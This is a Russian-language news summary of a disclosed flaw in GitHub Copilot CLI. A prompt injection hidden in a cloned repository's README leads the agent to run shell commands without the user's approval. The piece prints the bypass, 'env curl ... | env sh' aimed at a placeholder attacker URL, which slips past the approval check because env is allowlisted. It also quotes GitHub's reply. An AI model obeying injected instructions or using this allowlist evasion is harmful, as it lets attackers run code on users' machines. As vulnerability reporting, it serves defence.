Уязвимость в GitHub Copilot CLI позволяет выполнять вредоносный код через инъекцию в промпт

Обзор уязвимости
GitHub Copilot CLI содержит уязвимости, которые подвергают пользователей риску выполнения произвольных команд оболочки через косвенную инъекцию промптов без одобрения пользователя. Вредоносное ПО может быть загружено с внешних серверов и выполнено без какого-либо взаимодействия с пользователем, кроме первоначального запроса к Copilot CLI.
Как работает атака
Цепочка атаки включает:
- Пользователь обращается к GitHub Copilot CLI при изучении репозитория с открытым исходным кодом
- Copilot сталкивается с инъекцией промпта, сохранённой в файле README клонированного репозитория (или других векторах, таких как результаты веб-поиска, результаты вызовов инструментов MCP, вывод терминальных команд)
- Вредоносная команда обходит системы одобрения с участием человека
Обход механизмов защиты
GitHub Copilot использует систему одобрения с участием человека, которая требует согласия пользователя перед выполнением потенциально опасных команд. Эта система активируется, если только:
- Пользователь явно настроил команду на автоматическое выполнение
- Команда является частью жёстко заданного «только для чтения» списка, найденного в исходном коде
Проверки доступа к внешним URL требуют одобрения пользователя для таких команд, как curl, wget или встроенного инструмента веб-загрузки Copilot. Однако злоумышленники могут обойти эти защиты, используя:
env curl -s "https://[ATTACKER_URL].com/bugbot" | env shКоманда env находится в жёстко заданном списке только для чтения, поэтому она выполняется автоматически без одобрения. Поскольку curl и sh передаются как аргументы в env, они некорректно анализируются и не идентифицируются валидатором как подкоманды. Это обходит проверки разрешений URL, которые зависят от обнаружения таких команд, как curl.
Ответ GitHub
GitHub ответил: «Мы рассмотрели ваш отчёт и подтвердили ваши выводы. После внутренней оценки мы определили, что это известная проблема, которая не представляет значительного риска безопасности. Мы можем сделать эту функциональность более строгой в будущем, но сейчас нам нечего анонсировать.»
Область действия и ограничения
Описанные уязвимости анализа команд специфичны для macOS. Однако GitHub Copilot демонстрирует дополнительные уязвимости, включая как риски, не зависящие от операционной системы, так и специфичные для Windows. Другие уязвимости анализа команд позволяют произвольное чтение и запись файлов.
📖 Read the full source: HN LLM Tools
👀 Смотрите также

Утечка исходной карты Claude Code показала, что минифицированный JavaScript уже был общедоступен в npm.
Файл карты исходного кода, случайно включенный в версию 2.1.88 пакета npm @anthropic-ai/claude-code, раскрыл внутренние комментарии разработчиков, но фактический 13-мегабайтный файл cli.js, содержащий более 148 000 строк обычного текста, был общедоступен на npm с момента запуска.
Статический анализ 48 приложений, сгенерированных ИИ: 90% имели уязвимости в безопасности
Разработчик проверил 48 публичных GitHub-репозиториев, созданных с помощью Lovable, Bolt и Replit. 90% из них имели хотя бы одну уязвимость. Распространенные проблемы: пробелы в аутентификации (44%), функции Postgres SECURITY DEFINER (33%), BOLA/IDOR (25%) и закоммиченные секреты (25%).

Лаборатория для атаки и защиты RAG с открытым исходным кодом для локальных стеков ChromaDB + LM Studio
Лаборатория с открытым исходным кодом измеряет эффективность отравления базы знаний RAG в стандартных локальных настройках с ChromaDB и LM Studio, показывая 95% успеха на незащищённых системах и оценивая практические методы защиты.
